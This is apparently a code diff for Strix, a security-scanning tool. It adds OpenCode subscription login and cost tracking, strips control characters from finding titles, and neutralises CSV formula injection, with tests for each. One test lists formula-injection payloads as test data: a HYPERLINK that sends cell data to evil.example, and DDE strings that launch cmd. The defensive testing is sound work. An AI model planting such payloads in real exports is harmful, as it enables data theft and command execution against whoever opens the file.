<span className="rounded-full border border-[#22c55e]/40 bg-[#22c55e]/10 px-2 py-0.5 text-[11px] text-[#22c55e]">
ChatGPT subscription
{subscriptionLabel}
</span>
</span>
</Field>
@@ -200,7 +217,21 @@ export function RunDetails({
</Field>
)}
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
{subscription ? (
{subscription && metered ? (
<Field label="Cost">
{cost != null && cost > 0 ? (
<>
<span className="text-[#22c55e]">${cost.toFixed(2)}</span>
<span className="text-[#666]"> (Zen credits)</span>
</>
) : (
<>
<span className="text-[#22c55e]">credits</span>
<span className="text-[#666]"> (not priced locally)</span>
</>
)}
</Field>
) : subscription ? (
<Field label="Cost">
<span className="text-[#22c55e]">$0.00</span>
<span className="text-[#666]"> (subscription)</span>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -6,8 +6,8 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="color-scheme" content="dark" />
<title>Strix Results</title>
<script type="module" crossorigin src="./assets/index-Bpn8GiSb.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-qwPOPAGC.css">
<script type="module" crossorigin src="./assets/index-DD3_cI9L.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-Ccea__Xc.css">
</head>
<body>
<div id="root"></div>

View File

@@ -18,6 +18,8 @@ logger = logging.getLogger(__name__)
_STRIPPABLE_PREFIXES = (
"openai/",
"chatgpt/",
"opencode-go/",
"opencode/",
"litellm/",
"any-llm/",
"ollama/",
@@ -48,7 +50,11 @@ def _model_info(model: str) -> dict[str, int]:
lookup_key = _lookup_key(model)
# Provider-qualified ChatGPT lookups may start a synchronous device-login
# poll. LiteLLM keys the metadata by the underlying model slug.
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
candidates = (
(lookup_key,)
if model.startswith(("chatgpt/", "opencode/", "opencode-go/"))
else (model, lookup_key)
)
for candidate in candidates:
info = _safe_get_model_info(candidate)
if info is not None:

View File

@@ -1,5 +1,6 @@
import json
import logging
import re
import subprocess
import threading
from collections.abc import Callable
@@ -9,7 +10,7 @@ from pathlib import Path
from typing import TYPE_CHECKING, Any, Optional, cast
from uuid import uuid4
from strix.config import codex
from strix.config import opencode
from strix.config.loader import load_settings
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.report.coverage import write_coverage
@@ -32,6 +33,8 @@ logger = logging.getLogger(__name__)
_global_report_state: Optional["ReportState"] = None
_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
def _strix_version() -> str | None:
"""Best-effort package version for the SARIF tool.driver.version field."""
@@ -41,6 +44,17 @@ def _strix_version() -> str | None:
return None
def _clean_title(title: str) -> str:
"""Return a single-line finding title.
A title quotes text from the scanned target, so it can carry newlines, tabs or
other control characters. Those break every artifact that renders the title on
one line, such as the markdown heading, the CSV cell and the TUI list. Control
characters become spaces and runs of whitespace collapse to one space.
"""
return " ".join(_CONTROL_CHARS.sub(" ", title).split())
def _number(value: Any) -> int | float:
try:
return float(value or 0)
@@ -138,8 +152,13 @@ class ReportState:
self._llm_usage = LLMUsageLedger()
self._telemetry_llm_usage_baseline: dict[str, Any] = {}
auth_mode = codex.auth_mode(load_settings().llm.model)
self._llm_usage.zero_cost = auth_mode == "subscription"
auth_mode = opencode.auth_mode(load_settings().llm.model)
oc = opencode.subscription_model(load_settings().llm.model)
# A flat subscription has no per-run charge to report. Zen bills prepaid
# credits per request, so its cost is real and stays tracked.
self._llm_usage.zero_cost = auth_mode == "subscription" and not (
oc is not None and oc.metered
)
self.run_record: dict[str, Any] = {
"run_id": self.run_id,
"run_name": self.run_name,
@@ -147,6 +166,8 @@ class ReportState:
"end_time": None,
"status": "running",
"auth_mode": auth_mode,
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
"subscription_plan": opencode.subscription_plan(load_settings().llm.model),
"targets_info": [],
"llm_usage": self._build_llm_usage_record(),
}
@@ -222,8 +243,15 @@ class ReportState:
)
self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
for r in self.vulnerability_reports:
title = r.get("title")
stale_md = False
if isinstance(title, str):
r["title"] = _clean_title(title)
stale_md = r["title"] != title
rid = r.get("id")
if isinstance(rid, str):
# A finding already on disk keeps its markdown, unless cleaning
# changed the title: the heading on disk then needs a rewrite.
if isinstance(rid, str) and not stale_md:
self._saved_vuln_ids.add(rid)
logger.info(
"report state hydrated %d vulnerability report(s)",
@@ -266,7 +294,7 @@ class ReportState:
report: dict[str, Any] = {
"id": report_id,
"title": title.strip(),
"title": _clean_title(title),
"severity": severity.lower().strip(),
"timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
}

View File

@@ -26,10 +26,33 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
_BACKTICK_RUN = re.compile(r"`+")
def csv_safe(value: object) -> str:
"""Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
but has no notion of formula triggers, so such a value reaches the cell intact
and is executed on open (CWE-1236). Vulnerability titles quote text from the
scanned target, which is exactly the attacker-influenced input this guards
against.
Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
the cell is kept as literal text instead of being evaluated. Excel shows the
apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
that nothing runs.
"""
text = str(value)
if text.startswith(_CSV_FORMULA_PREFIXES):
return "'" + text
return text
def safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
@@ -151,11 +174,11 @@ def write_vulnerabilities(
for report in sorted_reports:
csv_writer.writerow(
{
"id": report["id"],
"title": report["title"],
"severity": report["severity"].upper(),
"timestamp": report["timestamp"],
"file": f"vulnerabilities/{report['id']}.md",
"id": csv_safe(report["id"]),
"title": csv_safe(report["title"]),
"severity": csv_safe(report["severity"].upper()),
"timestamp": csv_safe(report["timestamp"]),
"file": csv_safe(f"vulnerabilities/{report['id']}.md"),
},
)
atomic_write_text(csv_path, csv_buf.getvalue())
@@ -176,11 +199,17 @@ def write_vulnerabilities(
def atomic_write_text(path: Path, payload: str) -> None:
"""Write *payload* to *path* via a sibling temp file and an atomic rename."""
"""Write *payload* to *path* via a sibling temp file and an atomic rename.
``newline=""`` disables newline translation so *payload* lands byte-for-byte:
the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
into ``\\r\\r\\n`` on Windows.
"""
path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
newline="",
dir=str(path.parent),
prefix=f".{path.name}.",
suffix=".tmp",

View File

@@ -2,11 +2,12 @@
from __future__ import annotations
import time
from typing import TYPE_CHECKING, Any
import pytest
from strix.config import codex
from strix.config import codex, opencode
from strix.interface import auth_cli
@@ -104,3 +105,60 @@ def test_login_accepts_provider_aliases(provider: str, monkeypatch: pytest.Monke
assert auth_cli.run_auth(["login", provider]) == 0
assert reached["flow"] is True
@pytest.mark.parametrize("provider", ["opencode", "OpenCode", "opencode-go", "zen"])
def test_login_accepts_opencode_aliases(provider: str, monkeypatch: pytest.MonkeyPatch) -> None:
reached = {"login": False}
def _fake_login(_console: Any) -> int:
reached["login"] = True
return 0
monkeypatch.setattr(auth_cli, "_login_opencode", _fake_login)
assert auth_cli.run_auth(["login", provider]) == 0
assert reached["login"] is True
def test_login_opencode_validates_and_saves(monkeypatch: pytest.MonkeyPatch) -> None:
saved: dict[str, str] = {}
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: " sk-oc-test ")
monkeypatch.setattr(opencode, "validate_api_key", lambda key: saved.setdefault("checked", key))
monkeypatch.setattr(opencode, "save_api_key", lambda key: saved.setdefault("key", key))
assert auth_cli.run_auth(["login", "opencode"]) == 0
assert saved == {"checked": "sk-oc-test", "key": "sk-oc-test"}
def test_login_opencode_rejects_bad_key(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "bad")
def _reject(_key: str) -> None:
raise opencode.OpencodeAuthError("invalid_key")
monkeypatch.setattr(opencode, "validate_api_key", _reject)
assert auth_cli.run_auth(["login", "opencode"]) == 1
assert opencode.is_authenticated() is False
def test_logout_provider_scoped() -> None:
codex.save_record(
{
"type": "oauth",
"provider": "codex",
"access": "a",
"refresh": "r",
"account_id": "acct",
"expires_at": time.time() + 3600,
}
)
opencode.save_api_key("sk-oc-test")
assert auth_cli.run_auth(["logout", "opencode"]) == 0
assert opencode.is_authenticated() is False
assert codex.is_authenticated() is True
assert auth_cli.run_auth(["logout"]) == 0
assert codex.is_authenticated() is False
assert auth_cli.run_auth(["logout", "bogus"]) == 2

View File

@@ -228,7 +228,10 @@ def test_resume_still_requires_targets_or_a_workspace(
assert "has no targets_info" in capsys.readouterr().err
def test_resume_non_object_run_json_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]) -> None:
def test_resume_non_object_run_json_exits(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
) -> None:
monkeypatch.chdir(tmp_path)
run_dir = tmp_path / "strix_runs" / "pentest_abcd"
run_dir.mkdir(parents=True)

View File

@@ -122,6 +122,23 @@ def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) ->
assert make_model_settings(None, model_name=model_name).extra_args is None
@pytest.mark.parametrize("model_name", ["opencode/claude-sonnet-5", "opencode-go/claude-sonnet-5"])
def test_prompt_cache_for_opencode_claude(model_name: str) -> None:
# Claude on OpenCode runs through LiteLLM's Anthropic route, which consumes
# cache_control_injection_points. The gateway's other two routes use the raw
# OpenAI SDK, whose create() rejects this LiteLLM-only argument.
assert _cache_points(model_name) == [
{"location": "message", "role": "system"},
{"location": "message", "index": -1},
]
def test_no_prompt_cache_for_opencode_openai_routes() -> None:
# A "claude" substring cannot smuggle the LiteLLM-only argument onto a route
# that is served by the raw OpenAI SDK.
assert _cache_points("opencode/gpt-5.4-claude-tuned") is None
def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
# A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
unmapped = "bedrock/global.anthropic.claude-brand-new-9"

View File

@@ -2,6 +2,7 @@
from __future__ import annotations
import json
from typing import TYPE_CHECKING
import pytest
@@ -27,6 +28,51 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
return state
def test_add_vulnerability_report_strips_control_chars_from_title(
report_state: ReportState,
) -> None:
# A title quotes text from the scanned target, so it can carry newlines or
# tabs that break the markdown heading, the CSV cell and the TUI list.
report_id = report_state.add_vulnerability_report(
title="\tXSS in\r\n search\x00 form ",
severity="medium",
target="https://app.example.com",
)
report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
assert report["title"] == "XSS in search form"
def test_hydrate_from_run_dir_strips_control_chars_from_title(
report_state: ReportState,
) -> None:
# A run started before titles were normalized can hold control characters on
# disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
(report_state.get_run_dir() / "vulnerabilities.json").write_text(
json.dumps(
[
{
"id": "vuln-0001",
"title": "XSS in\r\n search\tform",
"severity": "medium",
"timestamp": "2026-01-01 00:00:00 UTC",
}
]
),
encoding="utf-8",
)
md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
md_path.parent.mkdir(exist_ok=True)
md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
report_state.hydrate_from_run_dir()
report_state.save_run_data()
assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
# The markdown on disk holds the raw heading, so resume must rewrite it.
assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
def _seed(state: ReportState) -> None:
state.add_vulnerability_report(
title="Reflected XSS in search",

View File

@@ -72,6 +72,11 @@ def test_recommended_models_are_matched_case_insensitively() -> None:
"moonshot/kimi-k2.6",
"kimi-k2.7-code",
"moonshot/kimi-k3",
"opencode/gpt-5.4",
"opencode/claude-sonnet-5",
"opencode-go/kimi-k3",
"opencode-go/deepseek-v4-flash",
"opencode-go/qwen3.8-max",
],
)
def test_frontier_model_families_are_accepted(model_name: str) -> None:

212
tests/test_opencode_auth.py Normal file
View File

@@ -0,0 +1,212 @@
"""Tests for OpenCode (Zen/Go) subscription auth: prefix parsing and key store."""
from __future__ import annotations
from typing import TYPE_CHECKING
from unittest import mock
import pytest
import requests
from strix.config import codex, opencode
if TYPE_CHECKING:
from pathlib import Path
@pytest.fixture(autouse=True)
def _tmp_store(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
path = tmp_path / "home" / ".strix" / "subscription-auth.json"
monkeypatch.setattr(codex, "AUTH_PATH", path)
return path
@pytest.mark.parametrize(
("model", "slug", "base_url", "protocol"),
[
(
"opencode/claude-sonnet-5",
"claude-sonnet-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
("opencode/gpt-5.4", "gpt-5.4", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
("opencode/grok-4.5", "grok-4.5", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
("OpenCode/Kimi-K3", "Kimi-K3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
(
"OpenCode/Claude-Opus-5",
"Claude-Opus-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
("opencode-go/kimi-k3", "kimi-k3", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
(
"opencode-go/gpt-5.6-luna",
"gpt-5.6-luna",
opencode.GO_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
("opencode-go/grok-4.5", "grok-4.5", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
# Probed per family against both gateways; a wrong protocol 500s.
(
"opencode/muse-spark-1.2",
"muse-spark-1.2",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
(
"opencode/deepseek-v4-pro",
"deepseek-v4-pro",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_CHAT,
),
("opencode/minimax-m3", "minimax-m3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/qwen3.6-plus", "qwen3.6-plus", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/glm-5.2", "glm-5.2", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/grok-4.6", "grok-4.6", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
(
"opencode/gpt-5.6-luna",
"gpt-5.6-luna",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
(
"opencode/claude-opus-5",
"claude-opus-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
],
)
def test_subscription_model_parses_prefixes(
model: str, slug: str, base_url: str, protocol: str
) -> None:
parsed = opencode.subscription_model(model)
assert parsed is not None
assert parsed.slug == slug
assert parsed.base_url == base_url
assert parsed.protocol == protocol
assert parsed.uses_responses is (protocol == opencode.PROTOCOL_RESPONSES)
def test_claude_route_targets_the_anthropic_endpoint() -> None:
parsed = opencode.subscription_model("opencode/claude-sonnet-5")
assert parsed is not None
assert parsed.messages_url == "https://opencode.ai/zen/v1/messages"
@pytest.mark.parametrize(
("model", "plan", "label", "metered"),
[
("opencode/claude-sonnet-5", opencode.PLAN_ZEN, "OpenCode Zen", True),
("opencode/kimi-k3", opencode.PLAN_ZEN, "OpenCode Zen", True),
("opencode-go/kimi-k3", opencode.PLAN_GO, "OpenCode Go", False),
("OpenCode-Go/GPT-5.6-Luna", opencode.PLAN_GO, "OpenCode Go", False),
],
)
def test_plan_is_labelled_and_metered_per_prefix(
model: str, plan: str, label: str, metered: bool
) -> None:
parsed = opencode.subscription_model(model)
assert parsed is not None
assert parsed.plan == plan
assert parsed.label == label
# Zen bills prepaid credits per request; Go is a flat monthly plan.
assert parsed.metered is metered
assert opencode.subscription_plan(model) == plan
def test_subscription_plan_is_none_off_opencode() -> None:
assert opencode.subscription_plan("chatgpt/gpt-5.4") is None
assert opencode.subscription_plan("anthropic/claude-sonnet-5") is None
assert opencode.subscription_plan(None) is None
@pytest.mark.parametrize(
"model",
["openai/gpt-5.4", "chatgpt/gpt-5.4", "opencode/", "opencode-go/", "opencode", "", None],
)
def test_subscription_model_rejects_non_opencode(model: str | None) -> None:
assert opencode.subscription_model(model) is None
def test_store_roundtrip_and_logout() -> None:
assert opencode.read_record() is None
assert opencode.is_authenticated() is False
opencode.save_api_key("sk-oc-test")
record = opencode.read_record()
assert record is not None
assert record["key"] == "sk-oc-test"
assert opencode.is_authenticated() is True
assert opencode.get_api_key() == "sk-oc-test"
opencode.logout()
assert opencode.read_record() is None
opencode.logout() # no-op when already gone
def test_store_coexists_with_chatgpt_record() -> None:
codex.save_record({"type": "oauth", "access": "a", "refresh": "r", "account_id": "acct"})
opencode.save_api_key("sk-oc-test")
assert codex.read_record() is not None
assert opencode.get_api_key() == "sk-oc-test"
opencode.logout()
assert codex.read_record() is not None
assert opencode.read_record() is None
def test_get_api_key_raises_when_not_signed_in() -> None:
with pytest.raises(opencode.OpencodeAuthError) as exc:
opencode.get_api_key()
assert exc.value.code == "not_authenticated"
def test_auth_mode_covers_both_subscriptions() -> None:
assert opencode.auth_mode("opencode/claude-sonnet-5") == "subscription"
assert opencode.auth_mode("opencode-go/kimi-k3") == "subscription"
assert opencode.auth_mode("chatgpt/gpt-5.4") == "subscription"
assert opencode.auth_mode("openai/gpt-5.4") == "api_key"
assert opencode.auth_mode(None) == "api_key"
def test_subscription_provider() -> None:
assert opencode.subscription_provider("opencode/claude-sonnet-5") == "opencode"
assert opencode.subscription_provider("opencode-go/kimi-k3") == "opencode"
assert opencode.subscription_provider("chatgpt/gpt-5.4") == "chatgpt"
assert opencode.subscription_provider("openai/gpt-5.4") is None
assert opencode.subscription_provider(None) is None
def _response(status_code: int, text: str = "") -> mock.MagicMock:
response = mock.MagicMock()
response.status_code = status_code
response.text = text
return response
def test_validate_api_key_accepts_ok() -> None:
with mock.patch.object(requests, "get", return_value=_response(200)) as get:
opencode.validate_api_key("sk-oc-test")
assert get.call_args.kwargs["headers"]["Authorization"] == "Bearer sk-oc-test"
def test_validate_api_key_rejects_unauthorized() -> None:
with (
mock.patch.object(requests, "get", return_value=_response(401)),
pytest.raises(opencode.OpencodeAuthError) as exc,
):
opencode.validate_api_key("bad-key")
assert exc.value.code == "invalid_key"
def test_validate_api_key_maps_network_errors() -> None:
with (
mock.patch.object(requests, "get", side_effect=requests.ConnectionError("boom")),
pytest.raises(opencode.OpencodeAuthError) as exc,
):
opencode.validate_api_key("sk-oc-test")
assert exc.value.code == "unavailable"

View File

@@ -9,6 +9,7 @@ from typing import TYPE_CHECKING, Any
import pytest
from strix.report.writer import (
atomic_write_text,
read_run_record,
render_vulnerability_md,
write_executive_report,
@@ -163,6 +164,64 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
assert csv_rows[0]["severity"] == "CRITICAL"
@pytest.mark.parametrize(
"payload",
[
'=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
"+cmd|'/c calc'!A1",
"@SUM(1+1)*cmd|'/c calc'!A1",
"-2+3+cmd|'/c calc'!A1",
"\t leading tab",
"\r leading carriage return",
],
)
def test_write_vulnerabilities_csv_neutralizes_formula_injection(
tmp_path: Path,
payload: str,
) -> None:
# Titles quote text from the scanned target, so a finding title can begin with
# a spreadsheet formula trigger. csv escapes CSV syntax but not formula
# triggers, so the cell has to be neutralized before it is written.
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
title = csv_rows[0]["title"]
assert title.startswith("'")
assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
payload = "=1+1"
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact
def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
assert csv_rows[0]["title"] == "SQL Injection in /login"
def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
# The CSV index carries its own \r\n terminators, so newline translation would
# turn every row ending into \r\r\n on Windows.
payload = "a,b\r\nc,d\r\n"
path = tmp_path / "index.csv"
atomic_write_text(path, payload)
assert path.read_bytes() == payload.encode("utf-8")
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
reports = [_sample_report(id="vuln-0001")]
saved: set[str] = {"vuln-0001"}